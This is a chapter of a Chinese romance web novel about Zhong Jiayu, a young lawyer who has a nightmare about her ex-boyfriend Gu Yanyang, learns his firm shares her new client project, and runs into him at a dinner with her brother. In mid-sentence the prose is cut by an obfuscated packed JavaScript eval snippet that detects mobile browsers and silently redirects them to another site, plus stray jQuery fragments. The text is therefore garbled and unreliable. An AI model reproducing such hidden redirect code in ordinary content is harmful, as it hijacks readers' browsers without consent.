小时候,钟佳羽时常听到爷爷跟奶奶讨价还价要酒喝。
“酒精是中枢神经抑制剂,喝点好睡觉。”
作为医生的爷爷都如此说,她失恋后势必当做真理以执行。后来她确实也依靠酒精从失恋的感情中走出来。
但爷爷只说了好睡觉,却没说科学研究,酒精在体内代谢后,身体会出现一种“REM睡眠反弹”效应。
那段用酒精麻痹自己的日子,她时常是一半醉得不清醒,一半是情绪无限放大的碎片化睡眠。
她将光怪陆离的梦境,和她哭着跟顾砚烊说分手的片段反复播放认为是自己失恋心情不好的原因。
而昨晚时隔两年的喝醉,让她再一次梦境像个争斗场。
五花八门的情节上演,一会儿是甜蜜的恋爱片段,一会儿又是悲痛的失恋情绪。
以至于后来,那个让她甜蜜亦或者是悲伤的男主角,穿着严肃的法官袍,站在审判席居高临下地看着她。
眼里充满怨恨与谴责,“你说不想谈恋爱,是不想和所有人谈,还是不想和我谈?”
“你纠结这么多干什么?”她认真地回视他,“不都是不和你谈的意思吗?”
她只不过是客观分析这句话。
却好像,彻底得罪了他。
男人冷笑一声,不再言语,眼神里迸发出杀意。
而后从法官袍口袋里掏出自己的执业证。
那句“法官就该有法官的职业素养”还没说出口。
一刹间黑色的证书突然抽长,变窄成了一把银光闪闪的刀片,男人俊朗的脸上突然变得阴险狠毒,怨毒的瞳心汇聚在她脸上,而后握着刀柄朝她冲了过来。
她一边跑大惊失色地大喊:“不可以杀人!”
下一秒,肩膀被男人扣住,看着近在咫尺的瞳孔,她下意识地惊叫一声:“啊—”
……
恰在此时,放在床头柜上的手机屏幕反反复复亮起,成为昏暗的房间里唯一一丝光亮。
被自己半梦半醒之间那一声惊叫吓醒,钟佳羽头痛欲裂地睁开眼。
一时没缓过来,脑海里还在顺着梦境浮现下一场景。
那一把银白带红的刀被抽出时真实得像是身临其境,钟佳羽下意识摸了摸平坦的小腹,丝绸质感的睡衣触感柔滑,没有黏腻感,也不痛。
但痛感转移到了头部。
虽然那个男人已不在法院工作,但同为律师,说不定他俩哪天就是对立面的关系。
也可能出现在同一个法庭。
宿醉真的让人神志不清,头昏脑胀。
缓了几分钟钟佳羽才捞过手机,是闺蜜明也珊发来的消息。
手机屏幕太强烈,一夜未见光的眼睛又酸又涩,眼球被刺得发涨,好一会儿才勉强看清楚文字。
忽略昨晚两个未接视频和明也珊让她少喝点的叮嘱。
今早属于狂轰乱炸。
明也珊:【钟佳羽】
明也珊:【别做春.梦了!!!】
明也珊:【你怎么还睡得下去!你做不做明川第一富婆了!】
钟佳羽点开语音,一向缱绻绵软的声音此刻干哑发涩:“你晚几分钟吵醒我,就能吃上席了。”
明也珊:【?】
意识到现在是工作日的上午,闺蜜不一定方便听语音,她改文字回复:【谢谢你救了我,我差点死了!(爱心)】
把语音那条撤回。
明也珊明显误会了:【你这梦做到哪个野男人床上去了?】
明也珊:【来来来,给姐说说,姐带薪听你吹水。】
钟佳羽:【呵呵,梦到被狐狸杀了。】
狐狸,是钟佳羽和闺蜜聊天时给前男友顾砚烊的别称。
当年像只狐狸精一样让她鬼迷心窍,从钟佳羽在群里嚷嚷着要拿下这个男人开始,明也珊便用这个名字来代替他。
明也珊:【你怎么做这么离奇的梦,你不是说和他分了之后没往来了?】
钟佳羽回复说她说没往来那都多久之前说的了。
明也珊:【?】
明也珊:【你如实招来?不会表面跟我说分手了,两人又偷偷复合了吧?(抓衣领)】
钟佳羽:【没谈,没谈,真没谈。】
钟佳羽不想说太多感情问题,再聊下去今天还得继续做噩梦。
而近期她没工作可以出差避开顾砚烊了,言归正传问起工作上的事情。
明也珊是她本科室友,现在是铭创科技公司的合同专项法务。
今天铭创科技会公示国内外聘律师竞标结果,这是钟佳羽独立执业后亲自参与竞标的第一个项目。
所以昨天她交代明也珊,今早一出结果立马给她打电话。
明也珊:【你转移话题不要太明显!】
钟佳羽:【头疼,眼睛疼,除了竞标结果其他不想聊QAQ】
明也珊甩过来几张去了私密信息的聊天截图。
她们办公室校友摸鱼群里。
明也珊的几个同事们正在讨论今年竞标成功的两家律所。
金翊律所是一家年轻律所,创立几年便已有多家分所。
而泓盛律所是国内最早创立的红圈大所之一。
将两家律所从规模到创收再到合伙人各种对比聊了一通。自然而然聊到律所的律师。
【顾砚烊除了能力出众有钱,他还超帅!在法院工作时是法院最帅的法助。来了律政圈是我见过最帅的律师!】
【虽然秦翊很帅,但是他比秦翊还帅!】
【所以我建议姐姐们也换个老公(真诚)】
最后一条,是明也珊辩驳:【你的眼光有待提高!秦翊明明更帅!】
这一条,应该是闺蜜为了站队,所以闭眼瞎夸。因为秦翊是她亲哥,哥哥随父姓,自己则是随母姓。
大概过了一分钟,不得不接受事实。
钟佳羽:【另一家中标的律所怎么可以是泓盛呢?(哭)】
梦里因为她不肯和他谈恋爱要杀了她的男人,目前就供职于泓盛律师事务所。
明也珊:【这个项目你还跟吗?】
钟佳羽:【废话,为了这个项目我跟着熬了多少夜啊。】
明也珊:【(八卦)(八卦)那你俩这有没有可能打起来?这回要杀人,可是面对面了。】
钟佳羽头昏脑胀,没多余的情绪分给其他事情,回复了一个笑脸。
钟佳羽:【我哥和我爸照样抢案源,一个前男友又算什么。】
明也珊:【希望如此。】
什么叫做希望如此。
钟佳羽感觉自己被侮辱了:【我比你想象中的厉害。再来一个我也不怕!】
明也珊:【可是,你也没那么多前男友啊。】
钟佳羽:【……】
明也珊去忙后。
钟佳羽望着手机,视线却在逐渐失焦。
铭创科技近两年发展迅猛,业务扩展到全球多个国家,每年有不少法律业务。
去年的律所合作,也是因为多个律所合作导致各种问题。然而今年重新招标却还是沿用之前的律所合作模式。
金翊律师事务所竞标的是负责铭创科技国内知识产权方面非诉业务。
国外部分的商标注册,侵权诉讼等业务,由海外律所负责。
除金翊和涉外律所负责以外的其他法律业务则是全交由泓盛律师事务所。
因此三家律所交叉合作,少不了打交道配合。
项目中通常会有一个牵头合伙人负责与管理层对接,以及一位主办律师和其他律师数名。
顾砚烊不是合伙人,但以他的能力,基本是主办没跑了。
钟佳羽开始考虑她要不要退出这次的项目,避一避。
但她在国外读完了JD还未正式执业便回国了,所以铭创科技多所律所交叉合作,以及科技型公司跨境业务的项目于她而言是个宝贵的学习机会。
点进截图看了一遍内容,目光停顿在“顾砚烊”三个字上数秒,她叹气退出截图。
钟佳羽找出先前她信誓旦旦跟秦翊说自己一定拿下这个项目的聊天内容,截图,连同中标通知邮件一并发给秦翊。
在五分钟后收获了对方一个点赞,以及一个红包。
钟佳羽点开,一分钱的鼓励,实在太大方了。
很虚伪的兄友妹恭完。
钟佳羽起床洗漱,空了一晚上的肚子也在此刻饥肠辘辘。
解决完温饱问题,花了快一个小时才终于搭配好满意的衣服,化妆出门。
下午一点,她准时出现在工位上。
钟佳羽没有洁癖,但格外在乎自己的工作环境。
再怎么忙,她的桌面也要保持整洁干净。
一旁的绿植绿油油长得十分精神。漂亮小桌垫依旧像新买的一般,电脑旁的文件夹归列整齐,长尾夹按照颜色分类装在盒子里。
舒适的办公环境让她心情格外好,钟佳羽考虑,如果接下来不常出差,她还准备在办公室里养点小鱼,闲暇时候可以逗逗乐。
铭创的竞标结果刚出来,下午团队便紧锣密鼓地开了个内部项目启动会。主持会议的是项目牵头合伙人杨俊华,杨俊华是金翊律师事务所的高级合伙人,知识产权部的主任,是律政圈少见的同时拥有律师执业证和专利代理师证的双证律师。
钟佳羽进了秦翊律所后,被他安排进了杨俊华团队。
会议上确认了项目成员名单,相关工作分配到位,会议很快结束。
开完会后钟佳羽又回了个客户电话,之后开始忙碌。
先是有条不紊地排列了应办事项,才开始撰写自己的涉外商标业务能力清单,擅长领域以及在此项目中的角色定位。
虽然是第一次单
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165660|196704||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
独负责项目细分领域业务,但过往的实习经验丰富润色了她编辑出来的文字。
检查修改好,将邮件发给杨俊华后,钟佳羽被叫去了办公室谈话,在办公室待了半个小时才得以出来。
把今天的其他工作收尾,已经到了下班时间。
昨天宿醉实在影响今天的工作状态,钟佳羽没加班,开车去逛了商场。
除了给自己花钱添置了不少保暖的通勤衣服,钟佳羽给家中四位长辈也买了,就连秦翊女朋友的份也没忘。
唯独给吹毛求疵的秦翊挑选半天没选定,随意买了点东西敷衍时,秦翊电话就来了。
钟佳羽一向尊老爱幼,先打招呼,“嗨,哥你也出差回来了!”
秦翊先发制人,“还不回家?你昨晚喝了多少酒?我差点被爸妈骂死。”
钟佳羽左看右看,没看到秦翊那张脸,“你看到我了?”
“妈妈说了,下次你再应酬喝酒就打断我的腿。”秦翊吐槽过后,回答她的问题,“你在逛街。”
虽然对方看不到,钟佳羽还是习惯性地点头,“嗯,你猜我买了什么?”
忽略掉前面几笔付款,秦翊从她的消费习惯里分辨出来哪一笔付款用于家里哪位成员身上。
他一一将金额匹配对应的家庭成员。
钟佳羽:“你太厉害了,难不成和我共感了?”
“给我……”秦翊往下拉付款信息,发现还有一笔八千左右的付款以及一笔两位数的。
不需要多加思考,两位数就是他能收到礼物的水平,“呵呵,给我买了三十六块钱的什么?”
“气球。”钟佳羽不可思议地眨眼:“你怎么都猜对了?”
秦翊嗤笑:“傻子,你支付用了我的亲属卡。”
钟佳羽:“……”
因为不小心花了秦翊的钱,钟佳羽被他讹了一顿晚饭。
在商场等秦翊过来,挂断电话前她让他不用开车来,晚上回去让他开她车。
秦翊问她:“那我怎么过来?我的钱被你花光了。”
言下之意是没钱打车。
还是要趁机讹钱。
钟佳羽:“那你还是太不努力了,我才花一点你就穷了。”
秦翊强调:“我是不会挤地铁的。”
钟佳羽看到了一家店,是一家品牌饰品店。
她将手机贴在肩膀上,腾出手推开玻璃门,“我不管。你自己想办法。”
花了十分钟挑选好两份礼物,钟佳羽去付款,这回她认真看了,是扣自己银.行卡的钱。
钟佳羽又逛了不到二十分钟,找了家自己喜欢的餐厅定了个包厢休息,就在五楼商场。
钟佳羽在包厢里休息了大半个小时,秦翊打来电话,让她先点菜,多点一些。
钟佳羽给服务员报菜名,“咱俩不是猪,吃不完。”
秦翊那边风声呼啸,还有鸣笛声,他像是笑了一声,“我带了两个很能吃的朋友。”
“……”
挂断电话,钟佳羽划掉了吃相不雅的菜,重新点菜。
无论是私人朋友还是商务宴请都不会出错的安排。
八卦心驱使,她发消息问秦翊:【谁呀?我认识吗?】
秦翊:【来了你就知道了。】
点完最后一个汤,钟佳羽交代服务员,汤上得早一些。
饭前一碗汤是她的习惯。
钟佳羽想到一件事。
近两年她身边也有不少朋友在二十五岁以后被迫相亲。
她不免猜测:【不是相亲局吧?秦翊!你敢套路我相亲你就死定了!】
秦翊没回。
钟佳羽打开游戏消磨时间。
以前她并没有这么多爱好,后来实习,工作认识了各行各业的客户,她也开始发展不同爱好,为自己开展人脉资源积攒话题和经验。
刚好结束一局,门外响起秦翊熟悉的声音。
应是和朋友说话。
她收起手机起身迎接,才走到门口。
门被从外面推开。
钟佳羽抬头,和一双深邃的眼睛对上。在不甚明亮的夜色中,男人脸部轮廓被门口的廊灯衬得更显流畅。
而立之年的年龄,面相与前几年和他恋爱时没太大变化,还是那么端正俊朗。
但通身却更多了几分沉稳内敛,气场也自带疏离,此刻清瘦挺拔地站在门边,一如当初刚认识时的清冷孤傲。
钟佳羽与之对视几秒,往后退了一步。
眼前的人今天穿了件黑色风衣,里面是一套银灰色条纹西装,优雅矜贵。
钟佳羽下意识去看他的手,双手插在大衣里。
想到早上那把突然变出来的刀。
她心头猛然一跳。
“那什么。”本想装不认识的钟佳羽硬着头皮,提出要求,“你能不能,把你手从兜里拿出来?”